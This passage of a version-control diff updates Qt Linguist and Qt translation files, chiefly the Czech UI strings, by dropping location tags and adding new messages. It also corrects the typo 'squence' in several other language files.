<source>Cannot find the string &apos;%1&apos;.</source>
<translation>Nelze najít řetězec &apos;%1&apos;.</translation>
</message>
<message>
- <location line="-82"/>
<source>Search And Translate in &apos;%1&apos; - Qt Linguist</source>
<translation>Hledat a překládat v &apos;%1&apos; - Qt Linguist</translation>
</message>
<message>
- <location line="+34"/>
- <location line="+23"/>
- <location line="+24"/>
<source>Translate - Qt Linguist</source>
<translation>Překlad - Qt Linguist</translation>
</message>
<message numerus="yes">
- <location line="-46"/>
<source>Translated %n entry(s)</source>
<translation>
<numerusform>Přeložen jeden záznam</numerusform>
@@ -1138,39 +1849,32 @@ Všechny soubory (*)</translation>
</translation>
</message>
<message>
- <location line="+23"/>
<source>No more occurrences of &apos;%1&apos;. Start over?</source>
<translation>Žádné další výskyty &apos;%1&apos;. Začít znovu?</translation>
</message>
<message>
- <location line="+30"/>
<source>Create New Phrase Book</source>
<translation>Vytvořit nový slovník</translation>
</message>
<message>
- <location line="+1"/>
<source>Qt phrase books (*.qph)
All files (*)</source>
<translation>Slovníky Qt (*.qph)
Všechny soubory (*)</translation>
</message>
<message>
- <location line="+11"/>
<source>Phrase book created.</source>
<translation>Slovník vytvořen.</translation>
</message>
<message>
- <location line="+17"/>
<source>Open Phrase Book</source>
<translation>Otevřít slovník</translation>
</message>
<message>
- <location line="+1"/>
<source>Qt phrase books (*.qph);;All files (*)</source>
<translation>Slovníky Qt (*.qph);;Všechny soubory (*)</translation>
</message>
<message numerus="yes">
- <location line="+7"/>
<source>%n phrase(s) loaded.</source>
<translation>
<numerusform>Nahrán jeden záznam ve slovníku.</numerusform>
@@ -1179,427 +1883,342 @@ Všechny soubory (*)</translation>
</translation>
</message>
<message>
- <location line="+93"/>
- <location line="+3"/>
- <location line="+7"/>
<source>Add to phrase book</source>
<translation>Přidat do slovníku</translation>
</message>
<message>
- <location line="-9"/>
<source>No appropriate phrasebook found.</source>
<translation>Nelze nalézt žádný příslušný slovník.</translation>
</message>
<message>
- <location line="+3"/>
<source>Adding entry to phrasebook %1</source>
<translation>Přidává se záznam do slovníku %1</translation>
</message>
<message>
- <location line="+7"/>
<source>Select phrase book to add to</source>
<translation>Do kterého slovníku se má záznam přidat</translation>
</message>
<message>
- <location line="+29"/>
<source>Unable to launch Qt Assistant (%1)</source>
<translation>Qt Assistant nelze spustit (%1)</translation>
</message>
<message>
- <location line="+17"/>
<source>Version %1</source>
<translation>Verze %1</translation>
</message>
<message>
- <location line="+3"/>
+ <source>&lt;center&gt;&lt;img src=&quot;:/images/splash.png&quot;/&gt;&lt;/img&gt;&lt;p&gt;%1&lt;/p&gt;&lt;/center&gt;&lt;p&gt;Qt Linguist is a tool for adding translations to Qt applications.&lt;/p&gt;&lt;p&gt;Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</source>
+ <translation>&lt;center&gt;&lt;img src=&quot;:/images/splash.png&quot;/&gt;&lt;/img&gt;&lt;p&gt;%1&lt;/p&gt;&lt;/center&gt;&lt;p&gt;Qt Linguist je nástrojem pro přidávání překladů do programů Qt.&lt;/p&gt;&lt;p&gt;Copyright (C) 2010 Nokia Corporation a/nebo její dceřinná společnost(i).</translation>
+ </message>
+ <message>
<source>&lt;center&gt;&lt;img src=&quot;:/images/splash.png&quot;/&gt;&lt;/img&gt;&lt;p&gt;%1&lt;/p&gt;&lt;/center&gt;&lt;p&gt;Qt Linguist is a tool for adding translations to Qt applications.&lt;/p&gt;&lt;p&gt;Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).</source>
- <translation>&lt;center&gt;&lt;img src=&quot;:/images/splash.png&quot;/&gt;&lt;/img&gt;&lt;p&gt;%1&lt;/p&gt;&lt;/center&gt;&lt;p&gt;Qt Linguist je nástrojem pro přidávání překladů do aplikací Qt.&lt;/p&gt;&lt;p&gt;Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).</translation>
+ <translation type="obsolete">&lt;center&gt;&lt;img src=&quot;:/images/splash.png&quot;/&gt;&lt;/img&gt;&lt;p&gt;%1&lt;/p&gt;&lt;/center&gt;&lt;p&gt;Qt Linguist je nástrojem pro přidávání překladů do aplikací Qt.&lt;/p&gt;&lt;p&gt;Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).</translation>
</message>
<message>
- <location line="+38"/>
<source>Do you want to save the modified files?</source>
<translation>Chcete uložit změněné soubory?</translation>
</message>
<message>
- <location line="+22"/>
<source>Do you want to save &apos;%1&apos;?</source>
<translation>Chcete uložit &apos;%1&apos;?</translation>
</message>
<message>
- <location line="+43"/>
<source>Qt Linguist[*]</source>
<translation>Qt Linguist[*]</translation>
</message>
<message>
- <location line="+2"/>
<source>%1[*] - Qt Linguist</source>
<translation>%1[*] - Qt Linguist</translation>
</message>
<message>
- <location line="+267"/>
- <location line="+12"/>
<source>No untranslated translation units left.</source>
<translation>Nezbyly žádné nepřeložené překladové jednotky.</translation>
</message>
<message>
- <location line="+176"/>
<source>&amp;Window</source>
<translation>&amp;Okno</translation>
</message>
<message>
- <location line="+2"/>
<source>Minimize</source>
<translation>Zmenšit</translation>
</message>
<message>
- <location line="+1"/>
<source>Ctrl+M</source>
<translation>Ctrl+M</translation>
</message>
<message>
- <location line="+12"/>
<source>Display the manual for %1.</source>
<translation>Zobrazit příručku k %1.</translation>
</message>
<message>
- <location line="+1"/>
<source>Display information about %1.</source>
<translation>Zobrazit údaje o %1.</translation>
</message>
<message>
- <location line="+70"/>
<source>&amp;Save &apos;%1&apos;</source>
<translation>&amp;Uložit &apos;%1&apos;</translation>
</message>
<message>
- <location line="+1"/>
<source>Save &apos;%1&apos; &amp;As...</source>
<translation>&apos;%1&apos; uložit &amp;jako...</translation>
</message>
<message>
- <location line="+1"/>
<source>Release &apos;%1&apos;</source>
<translation>Vydat &apos;%1&apos;</translation>
</message>
<message>
- <location line="+1"/>
<source>Release &apos;%1&apos; As...</source>
<translation>&apos;%1&apos; vydat jako...</translation>
</message>
<message>
- <location line="+1"/>
<source>&amp;Close &apos;%1&apos;</source>
<translation>&amp;Zavřít &apos;%1&apos;</translation>
</message>
<message>
- <location line="+6"/>
- <location line="+13"/>
<source>&amp;Close</source>
<translation>&amp;Zavřít</translation>
</message>
<message>
- <location line="-10"/>
<source>Save All</source>
<translation>Uložit vše</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.ui"/>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="+1"/>
<source>&amp;Release All</source>
<translation>&amp;Vydat vše</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="+1"/>
<source>Close All</source>
<translation>Zavřít vše</translation>
</message>
<message>
- <location line="+23"/>
<source>Translation File &amp;Settings for &apos;%1&apos;...</source>
<translation>Nastavení &amp;souboru s překladem pro &apos;%1&apos; ...</translation>
</message>
<message>
- <location line="+1"/>
<source>&amp;Batch Translation of &apos;%1&apos;...</source>
<translation>&amp;Automatický překlad &apos;%1&apos; ...</translation>
</message>
<message>
- <location line="+1"/>
<source>Search And &amp;Translate in &apos;%1&apos;...</source>
<translation>Hledat a &amp;překládat v &apos;%1&apos; ...</translation>
</message>
<message>
- <location line="+4"/>
<source>Search And &amp;Translate...</source>
<translation>Hledat a &amp;překládat...</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.ui"/>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="+51"/>
<source>File</source>
<translation>Soubor</translation>
</message>
<message>
- <location/>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="+7"/>
<source>Edit</source>
<translation>Úpravy</translation>
</message>
<message>
- <location/>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="+6"/>
<source>Translation</source>
<translation>Překlad</translation>
</message>
<message>
- <location/>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="+6"/>
<source>Validation</source>
<translation>Schválení</translation>
</message>
<message>
- <location/>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="+7"/>
<source>Help</source>
<translation>Nápověda</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="+84"/>
<source>Cannot read from phrase book &apos;%1&apos;.</source>
<translation>Nelze číst ze slovníku &apos;%1&apos;.</translation>
</message>
<message>
- <location line="+15"/>
<source>Close this phrase book.</source>
<translation>Tento slovník zavřít.</translation>
</message>
<message>
- <location line="+4"/>
<source>Enables you to add, modify, or delete entries in this phrase book.</source>
<translation>Umožní vložit, měnit nebo odstranit záznamy z tohoto slovníku.</translation>
</message>
<message>
- <location line="+5"/>
<source>Print the entries in this phrase book.</source>
<translation>Vytisknout záznamy z tohoto slovníku.</translation>
</message>
<message>
- <location line="+16"/>
<source>Cannot create phrase book &apos;%1&apos;.</source>
<translation>Nelze vytvořit slovník &apos;%1&apos;.</translation>
</message>
<message>
- <location line="+10"/>
<source>Do you want to save phrase book &apos;%1&apos;?</source>
<translation>Chcete uložit slovník &apos;%1&apos;?</translation>
</message>
<message>
- <location line="+323"/>
<source>All</source>
<translation>Vše</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.ui"/>
<source>Open/Refresh Form &amp;Preview</source>
<translation>Otevřít/Obnovit &amp;náhled na formulář</translation>
</message>
<message>
- <location/>
<source>Form Preview Tool</source>
<translation>Nástroj pro náhled na formulář</translation>
</message>
<message>
- <location/>
<source>F5</source>
<translation>F5</translation>
</message>
<message>
- <location/>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="-536"/>
<source>Translation File &amp;Settings...</source>
<translation>&amp;Nastavení souboru s překladem...</translation>
</message>
<message>
- <location/>
<source>&amp;Add to Phrase Book</source>
<translation>&amp;Přidat do slovníku</translation>
</message>
<message>
- <location/>
<source>Ctrl+T</source>
<translation>Ctrl+T</translation>
</message>
<message>
- <location/>
<source>Ctrl+J</source>
<translation>Ctrl+J</translation>
</message>
<message>
- <location/>
<source>Ctrl+Shift+J</source>
<translation>Ctrl+Shift+J</translation>
</message>
<message>
- <location/>
<source>Previous unfinished item</source>
<translation>Předchozí nevyřízený záznam</translation>
</message>
<message>
- <location/>
<source>Next unfinished item</source>
<translation>Další nevyřízený záznam</translation>
</message>
<message>
- <location/>
<source>Move to previous item</source>
<translation>Jít na předchozí záznam</translation>
</message>
<message>
- <location/>
<source>Next item</source>
<translation>Další záznam</translation>
</message>
<message>
- <location/>
<source>Mark item as done and move to the next unfinished item</source>
<translation>Označit záznam jako vyřízený a jít na další nevyřízený záznam</translation>
</message>
<message>
- <location/>
<source>Copies the source text into the translation field</source>
<translation>Kopíruje zdrojový text do pole s překladem</translation>
</message>
<message>
- <location/>
<source>Toggle the validity check of accelerators</source>
<translation>Zapnout/Vypnout ověření akcelerátorů</translation>
</message>
<message>
- <location/>
<source>Toggle the validity check of ending punctuation</source>
<translation>Zapnout/Vypnout ověření znaku na konci věty na konci textu</translation>
</message>
<message>
- <location/>
<source>Toggle checking that phrase suggestions are used</source>
<translation>Zapnout/Vypnout ověření použití záznamů ze slovníku</translation>
</message>
<message>
- <location/>
<source>Toggle the validity check of place markers</source>
<translation>Zapnout/Vypnout ověření držitelů místa</translation>
</message>
<message>
- <location/>
<source>Create a Qt message file suitable for released applications from the current message file. The filename will automatically be determined from the name of the TS file.</source>
<translation>Vytvořit z nynějšího překladového souboru soubor s hlášeními Qt vhodný pro vydané aplikace. Název souboru bude automaticky odvozen z názvu souboru TS.</translation>
</message>
<message>
- <location/>
<source>Length Variants</source>
<translation>Varianty délky</translation>
</message>
+ <message>
+ <source>Display information about the Qt toolkit by Nokia.</source>
+ <translation>Zobrazit informace o sadě nástrojů Qt od Nokie.</translation>
+ </message>
</context>
<context>
<name>MessageEditor</name>
<message>
- <location filename="../tools/linguist/linguist/messageeditor.cpp" line="+42"/>
<source></source>
<comment>This is the right panel of the main window.</comment>
<translation></translation>
</message>
<message>
- <location line="+30"/>
<source>Russian</source>
<translation>Ruský</translation>
</message>
<message>
- <location line="+1"/>
<source>German</source>
<translation>Německý</translation>
</message>
<message>
- <location line="+1"/>
<source>Japanese</source>
<translation>Japonský</translation>
</message>
<message>
- <location line="+1"/>
<source>French</source>
<translation>Francouzský</translation>
</message>
<message>
- <location line="+1"/>
<source>Polish</source>
<translation>Polský</translation>
</message>
<message>
- <location line="+1"/>
<source>Chinese</source>
<translation>Čínský</translation>
</message>
<message>
- <location line="+53"/>
<source>This whole panel allows you to view and edit the translation of some source text.</source>
<translation>Celý tento panel umožňuje zobrazení a úpravy překladu zdrojového textu.</translation>
</message>
<message>
- <location line="+18"/>
<source>Source text</source>
<translation>Zdrojový text</translation>
</message>
<message>
- <location line="+2"/>
<source>This area shows the source text.</source>
<translation>Tato oblast ukazuje zdrojový text.</translation>
</message>
<message>
- <location line="+4"/>
<source>Source text (Plural)</source>
<translation>Zdrojový text (Plural)</translation>
</message>
<message>
- <location line="+2"/>
<source>This area shows the plural form of the source text.</source>
<translation>Tato oblast ukazuje množné číslo zdrojového textu.</translation>
</message>
<message>
- <location line="+4"/>
<source>Developer comments</source>
<translation>Vývojářovy poznámky</translation>
</message>
<message>
- <location line="+3"/>
<source>This area shows a comment that may guide you, and the context in which the text occurs.</source>
<translation>Tato oblast ukazuje případn poznámky, jež vás mohou vést, a souvislosti, v nichž se text vyskytuje.</translation>
</message>
<message>
- <location line="+59"/>
<source>Here you can enter comments for your own use. They have no effect on the translated applications.</source>
<translation>Sem můžete vepsat poznámky určené pro vaše vlastní použití. Na překlad nemají žádný vliv.</translation>
</message>
<message>
- <location line="+232"/>
<source>%1 translation (%2)</source>
<translation>Překlad %1 (%2)</translation>
</message>
<message>
- <location line="+9"/>
<source>This is where you can enter or modify the translation of the above source text.</source>
<translation>Tady můžete zadávat nebo měnit překlad zdrojového textu.</translation>
</message>
<message>
- <location line="+5"/>
<source>%1 translation</source>
<translation>Překlad %1</translation>
</message>
<message>
- <location line="+1"/>
<source>%1 translator comments</source>
<translation>%1 překladatelovy poznámky</translation>
</message>
<message>
- <location line="+157"/>
<source>&apos;%1&apos;
Line: %2</source>
<translation>&apos;%1&apos;
@@ -1609,22 +2228,18 @@ Line: %2</source>
<context>
<name>MessageModel</name>
<message>
- <location filename="../tools/linguist/linguist/messagemodel.cpp" line="+832"/>
<source>Completion status for %1</source>
<translation>Stav zpracování %1</translation>
</message>
<message>
- <location line="+15"/>
<source>&lt;file header&gt;</source>
<translation>&lt;hlavička souboru&gt;</translation>
</message>
<message>
- <location line="+2"/>
<source>&lt;context comment&gt;</source>
<translation>&lt;související poznámka&gt;</translation>
</message>
<message>
- <location line="+71"/>
<source>&lt;unnamed context&gt;</source>
<translation>&lt;nepojmenovaná souvislost&gt;</translation>
</message>
@@ -1632,122 +2247,106 @@ Line: %2</source>
<context>
<name>MsgEdit</name>
<message>
- <location filename="../tools/linguist/linguist/messageeditor.cpp" line="-614"/>
<source></source>
<comment>This is the right panel of the main window.</comment>
<translation></translation>
</message>
</context>
<context>
+ <name>PhraseBook</name>
+ <message>
+ <source>Parse error at line %1, column %2 (%3).</source>
+ <translation>Chyba při zpracování na řádku %1, ve sloupci %2 (%3).</translation>
+ </message>
+</context>
+<context>
<name>PhraseBookBox</name>
<message>
- <location filename="../tools/linguist/linguist/phrasebookbox.cpp" line="+12"/>
<source></source>
<comment>Go to Phrase &gt; Edit Phrase Book... The dialog that pops up is a PhraseBookBox.</comment>
<translation></translation>
</message>
<message>
- <location line="+54"/>
<source>(New Entry)</source>
<translation>(Nový záznam)</translation>
</message>
<message>
- <location line="+3"/>
<source>%1[*] - Qt Linguist</source>
<translation>%1[*] - Qt Linguist</translation>
</message>
<message>
- <location line="+90"/>
<source>Qt Linguist</source>
<translation>Qt Linguist</translation>
</message>
<message>
- <location line="+1"/>
<source>Cannot save phrase book &apos;%1&apos;.</source>
<translation>Nelze uložit slovník &apos;%1&apos;.</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/phrasebookbox.ui"/>
<source>Edit Phrase Book</source>
<translation>Upravit slovník</translation>
</message>
<message>
- <location/>
<source>This window allows you to add, modify, or delete entries in a phrase book.</source>
<translation>Toto okno vám umožní vložit, měnit nebo odstranit záznamy z tohoto slovníku.</translation>
</message>
<message>
- <location/>
<source>&amp;Translation:</source>
<translation>&amp;Překlad:</translation>
</message>
<message>
- <location/>
<source>This is the phrase in the target language corresponding to the source phrase.</source>
<translation>Toto je text, který v cílovém jazyce odpovídá zdrojovému textu.</translation>
</message>
<message>
- <location/>
<source>S&amp;ource phrase:</source>
<translation>&amp;Zdrojový text:</translation>
</message>
<message>
- <location/>
<source>This is a definition for the source phrase.</source>
<translation>Toto je vymezení zdrojového textu.</translation>
</message>
<message>
- <location/>
<source>This is the phrase in the source language.</source>
<translation>Toto je text ve zdrojovém jazyce.</translation>
</message>
<message>
- <location/>
<source>&amp;Definition:</source>
<translation>&amp;Vymezení:</translation>
</message>
<message>
- <location/>
<source>Click here to add the phrase to the phrase book.</source>
<translation>Sem klepněte kvůli vložení nového záznamu do slovníku.</translation>
</message>
<message>
- <location/>
<source>&amp;New Entry</source>
<translation>&amp;Nový záznam</translation>
</message>
<message>
- <location/>
<source>Click here to remove the entry from the phrase book.</source>
<translation>Sem klepněte kvůli odstranění nového záznamu ze slovníku.</translation>
</message>
<message>
- <location/>
<source>&amp;Remove Entry</source>
<translation>&amp;Odstranit záznam</translation>
</message>
<message>
- <location/>
<source>Settin&amp;gs...</source>
<translation>&amp;Nastavení...</translation>
</message>
<message>
- <location/>
<source>Click here to save the changes made.</source>
<translation>Sem klepněte kvůli uložení provedených změn.</translation>
</message>
<message>
- <location/>
<source>&amp;Save</source>
<translation>&amp;Uložit</translation>
</message>
<message>
- <location/>
<source>Click here to close this window.</source>
<translation>Sem klepněte kvůli zavření tohoto okna.</translation>
</message>
<message>
- <location/>
<source>Close</source>
<translation>Zavřít</translation>
</message>
@@ -1755,17 +2354,14 @@ Line: %2</source>
<context>
<name>PhraseModel</name>
<message>
- <location filename="../tools/linguist/linguist/phrasemodel.cpp" line="+117"/>
<source>Source phrase</source>
<translation>Zdrojový text</translation>
</message>
<message>
- <location line="+2"/>
<source>Translation</source>
<translation>Překlad</translation>
</message>
<message>
- <location line="+2"/>
<source>Definition</source>
<translation>Vymezení</translation>
</message>
@@ -1773,22 +2369,18 @@ Line: %2</source>
<context>
<name>PhraseView</name>
<message>
- <location filename="../tools/linguist/linguist/phraseview.cpp" line="+122"/>
<source>Insert</source>
<translation>Vložit</translation>
</message>
<message>
- <location line="+3"/>
<source>Edit</source>
<translation>Upravit</translation>
</message>
<message>
- <location line="+113"/>
<source>Guess (%1)</source>
<translation>Návrh (%1)</translation>
</message>
<message>
- <location line="+2"/>
<source>Guess</source>
<translation>Návrh</translation>
</message>
@@ -1796,76 +2388,67 @@ Line: %2</source>
<context>
<name>QObject</name>
<message>
- <location filename="../tools/linguist/shared/qm.cpp" line="+12"/>
<source>Compiled Qt translations</source>
<translation>Sestavené překlady Qt</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="-1280"/>
<source>Translation files (%1);;</source>
<translation>Překladové soubory (%1);;</translation>
</message>
<message>
- <location line="+5"/>
<source>All files (*)</source>
<translation>Všechny soubory (*)</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/messagemodel.cpp" line="-1118"/>
- <location line="+18"/>
- <location line="+67"/>
- <location line="+39"/>
- <location line="+17"/>
- <location line="+15"/>
- <location filename="../tools/linguist/linguist/phrase.cpp" line="+196"/>
<source>Qt Linguist</source>
<translation>Qt Linguist</translation>
</message>
<message>
- <location filename="../tools/linguist/shared/po.cpp" line="+658"/>
<source>GNU Gettext localization files</source>
<translation>Překladové soubory GNU Gettext</translation>
</message>
<message>
- <location filename="../tools/linguist/shared/ts.cpp" line="+752"/>
+ <source>GNU Gettext localization template files</source>
+ <translation>Soubory s předlohami pro překlad GNU Gettext</translation>
+ </message>
+ <message>
<source>Qt translation sources (format 1.1)</source>
<translation>Překladové soubory Qt (verze formátu 1.1)</translation>
</message>
<message>
- <location line="+8"/>
<source>Qt translation sources (format 2.0)</source>
<translation>Překladové soubory Qt (verze formátu 2.0)</translation>
</message>
<message>
- <location line="+9"/>
<source>Qt translation sources (latest format)</source>
<translation>Překladové soubory Qt (nejnovější formát)</translation>
</message>
<message>
- <location filename="../tools/linguist/shared/xliff.cpp" line="+827"/>
<source>XLIFF localization files</source>
<translation>Překladové soubory XLIFF</translation>
</message>
<message>
- <location filename="../tools/linguist/shared/qph.cpp" line="+183"/>
<source>Qt Linguist &apos;Phrase Book&apos;</source>
<translation>Slovník Qt Linguist</translation>
</message>
+ <message>
+ <source>lupdate version %1
+</source>
+ <translation>Verze lupdate %1
+</translation>
+ </message>
</context>
<context>
<name>SourceCodeView</name>
<message>
- <location filename="../tools/linguist/linguist/sourcecodeview.cpp" line="+70"/>
<source>&lt;i&gt;Source code not available&lt;/i&gt;</source>
<translation>&lt;i&gt;Zdrojový text není dostupný&lt;/i&gt;</translation>
</message>
<message>
- <location line="+33"/>
<source>&lt;i&gt;File %1 not available&lt;/i&gt;</source>
<translation>&lt;i&gt;Soubor %1 není dostupný&lt;/i&gt;</translation>
</message>
<message>
- <location line="+5"/>
<source>&lt;i&gt;File %1 not readable&lt;/i&gt;</source>
<translation>&lt;i&gt;Soubor %1 není čitelný&lt;/i&gt;</translation>
</message>
@@ -1873,42 +2456,34 @@ Line: %2</source>
<context>
<name>Statistics</name>
<message>
- <location filename="../tools/linguist/linguist/statistics.ui"/>
<source>Statistics</source>
<translation>Statistiky</translation>
</message>
<message>
- <location/>
<source>Translation</source>
<translation>Překlad</translation>
</message>
<message>
- <location/>
<source>Source</source>
<translation>Zdroj</translation>
</message>
<message>
- <location/>
<source>0</source>
<translation>0</translation>
</message>
<message>
- <location/>
<source>Words:</source>
<translation>Slov:</translation>
</message>
<message>
- <location/>
<source>Characters:</source>
<translation>Znaků:</translation>
</message>
<message>
- <location/>
<source>Characters (with spaces):</source>
<translation>Znaků (s mezerami):</translation>
</message>
<message>
- <location/>
<source>Close</source>
<translation>Zavřít</translation>
</message>
@@ -1916,72 +2491,58 @@ Line: %2</source>
<context>
<name>TranslateDialog</name>
<message>
- <location filename="../tools/linguist/linguist/translatedialog.ui"/>
<source>This window allows you to search for some text in the translation source file.</source>
<translation>Toto okno vám umožňuje hledání textu ve zdrojovém souboru s překladem.</translation>
</message>
<message>
- <location/>
<source>Type in the text to search for.</source>
<translation>Zadejte text, který se má hledat.</translation>
</message>
<message>
- <location/>
<source>Find &amp;source text:</source>
<translation>Hledat &amp;zdrojový text:</translation>
</message>
<message>
- <location/>
<source>&amp;Translate to:</source>
<translation>&amp;Překlad:</translation>
</message>
<message>
- <location/>
<source>Search options</source>
<translation>Nastavení hledání</translation>
</message>
<message>
- <location/>
<source>Texts such as &apos;TeX&apos; and &apos;tex&apos; are considered as different when checked.</source>
<translation>Když je zapnuto, texty jako &apos;TeX&apos; a &apos;tex&apos; se považují za rozdílné.</translation>
</message>
<message>
- <location/>
<source>Match &amp;case</source>
<translation>Dbát na &amp;psaní velkých a malých písmen</translation>
</message>
<message>
- <location/>
<source>Mark new translation as &amp;finished</source>
<translation>Nový překlad označit jako &amp;vyřízený</translation>
</message>
<message>
- <location/>
<source>Click here to find the next occurrence of the text you typed in.</source>
<translation>Klepněte sem pro skok k dalšímu výskytu hledáného textu.</translation>
</message>
<message>
- <location/>
<source>Find Next</source>
<translation>Hledat dál</translation>
</message>
<message>
- <location/>
<source>Translate</source>
<translation>Přeložit</translation>
</message>
<message>
- <location/>
<source>Translate All</source>
<translation>Přeložit vše</translation>
</message>
<message>
- <location/>
<source>Click here to close this window.</source>
<translation>Klepněte sem pro zavření tohoto okna.</translation>
</message>
<message>
- <location/>
<source>Cancel</source>
<translation>Zrušit</translation>
</message>
@@ -1989,33 +2550,26 @@ Line: %2</source>
<context>
<name>TranslationSettingsDialog</name>
<message>
- <location filename="../tools/linguist/linguist/translationsettingsdialog.cpp" line="+68"/>
<source>Any Country</source>
<translation>Země</translation>
</message>
<message>
- <location line="+11"/>
- <location line="+8"/>
<source>Settings for &apos;%1&apos; - Qt Linguist</source>
<translation>Nastavení pro &apos;%1&apos; - Qt Linguist</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/translationsettings.ui"/>
<source>Source language</source>
<translation>Zdrojový jazyk</translation>
</message>
<message>
- <location/>
<source>Language</source>
<translation>Jazyk</translation>
</message>
<message>
- <location/>
<source>Country/Region</source>
<translation>Země/Oblast</translation>
</message>
<message>
- <location/>
<source>Target language</source>
<translation>Cílový jazyk</translation>
</message>
diff --git a/translations/linguist_de.ts b/translations/linguist_de.ts
index e9b5661..cb0b36d 100644
--- a/translations/linguist_de.ts
+++ b/translations/linguist_de.ts
@@ -908,7 +908,7 @@ Options:
<translation type="unfinished"></translation>
</message>
<message>
- <source>Illegal escape squence</source>
+ <source>Illegal escape sequence</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/translations/linguist_ja.ts b/translations/linguist_ja.ts
index 4b2cbf7..40bb778 100644
--- a/translations/linguist_ja.ts
+++ b/translations/linguist_ja.ts
@@ -1112,7 +1112,7 @@ Qt TS XML). 新しく追加されたり変更されたメッセージは既存
<translation>ファイルの終端までに閉じられていない文字列</translation>
</message>
<message>
- <source>Illegal escape squence</source>
+ <source>Illegal escape sequence</source>
<translation>無効なエスケープシーケンス</translation>
</message>
<message>
diff --git a/translations/linguist_ru.ts b/translations/linguist_ru.ts
index db76e72..dfda98e 100644
--- a/translations/linguist_ru.ts
+++ b/translations/linguist_ru.ts
@@ -1155,7 +1155,7 @@ lupdate - это один из инструментов Qt Linguist. Он изв
<translation>Незавершенный текст в конце строки</translation>
</message>
<message>
- <source>Illegal escape squence</source>
+ <source>Illegal escape sequence</source>
<translation>Неверная esc-последовательность</translation>
</message>
<message>
diff --git a/translations/linguist_sl.ts b/translations/linguist_sl.ts
index 27ca8d1..4499133 100644
--- a/translations/linguist_sl.ts
+++ b/translations/linguist_sl.ts
@@ -912,7 +912,7 @@ Options:
<translation type="unfinished"></translation>
</message>
<message>
- <source>Illegal escape squence</source>
+ <source>Illegal escape sequence</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/translations/linguist_uk.ts b/translations/linguist_uk.ts
index 56aadab..56db6ba 100644
--- a/translations/linguist_uk.ts
+++ b/translations/linguist_uk.ts
@@ -1146,7 +1146,7 @@ lupdate - це частина набору програм Qt Linguist. Вона
<translation>Незакритий рядок в кінці файлу</translation>
</message>
<message>
- <source>Illegal escape squence</source>
+ <source>Illegal escape sequence</source>
<translation>Неприпустима керуюча послідовність</translation>
</message>
<message>
diff --git a/translations/qt_cs.ts b/translations/qt_cs.ts
index e184f64..3e72f01 100644..100755
--- a/translations/qt_cs.ts
+++ b/translations/qt_cs.ts
@@ -26,7 +26,6 @@
<context>
<name>CloseButton</name>
<message>
- <location filename="../src/gui/widgets/qtabbar.cpp" line="+2245"/>
<source>Close Tab</source>
<translation>Zavřít kartu</translation>
</message>
@@ -34,45 +33,68 @@
<context>
<name>FakeReply</name>
<message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/tests/qwebframe/tst_qwebframe.cpp" line="+2193"/>
<source>Fake error !</source>
<translation>Napodobená chyba!</translation>
</message>
<message>
- <location line="+3"/>
<source>Invalid URL</source>
<translation>Neplátné URL</translation>
</message>
</context>
<context>
+ <name>MAC_APPLICATION_MENU</name>
+ <message>
+ <source>Services</source>
+ <translation>Služby</translation>
+ </message>
+ <message>
+ <source>Hide %1</source>
+ <translation>Skrýt %1</translation>
+ </message>
+ <message>
+ <source>Hide Others</source>
+ <translation>Skrýt ostatní</translation>
+ </message>
+ <message>
+ <source>Show All</source>
+ <translation>Ukázat vše</translation>
+ </message>
+ <message>
+ <source>Preferences...</source>
+ <translation>Nastavení...</translation>
+ </message>
+ <message>
+ <source>Quit %1</source>
+ <translation>Ukončit %1</translation>
+ </message>
+ <message>
+ <source>About %1</source>
+ <translation>O %1</translation>
+ </message>
+</context>
+<context>
<name>Phonon::</name>
<message>
- <location filename="../src/3rdparty/phonon/phonon/phononnamespace.cpp" line="+63"/>
<source>Games</source>
<translation>Hry</translation>
</message>
<message>
- <location line="-6"/>
<source>Music</source>
<translation>Hudba</translation>
</message>
<message>
- <location line="+2"/>
<source>Video</source>
<translation>Video</translation>
</message>
<message>
- <location line="+2"/>
<source>Communication</source>
<translation>Spojení</translation>
</message>
<message>
- <location line="+4"/>
<source>Accessibility</source>
<translation>Dostupnost</translation>
</message>
<message>
- <location line="-10"/>
<source>Notifications</source>
<translation>Oznámení</translation>
</message>
@@ -80,32 +102,31 @@
<context>
<name>Phonon::AudioOutput</name>
<message>
- <location filename="../src/3rdparty/phonon/phonon/audiooutput.cpp" line="+377"/>
<source>&lt;html&gt;The audio playback device &lt;b&gt;%1&lt;/b&gt; does not work.&lt;br/&gt;Falling back to &lt;b&gt;%2&lt;/b&gt;.&lt;/html&gt;</source>
<translation>&lt;html&gt;Zařízení pro přehrávání zvuku &lt;b&gt;%1&lt;/b&gt; nepracuje.&lt;br/&gt;Místo něj &lt;b&gt;%2&lt;/b&gt; se používá.&lt;/html&gt;</translation>
</message>
<message>
- <location line="+13"/>
<source>&lt;html&gt;Switching to the audio playback device &lt;b&gt;%1&lt;/b&gt;&lt;br/&gt;which just became available and has higher preference.&lt;/html&gt;</source>
<translation>&lt;html&gt;Zařízení pro přehrávání zvuku &lt;b&gt;%1&lt;/b&gt; bylo spuštěno,&lt;br/&gt;protože je právě dostupné a má větší přednost.&lt;/html&gt;</translation>
</message>
<message>
- <location line="+3"/>
<source>Revert back to device &apos;%1&apos;</source>
<translation>Přepnout zpět na zařízení &apos;%1&apos;</translation>
</message>
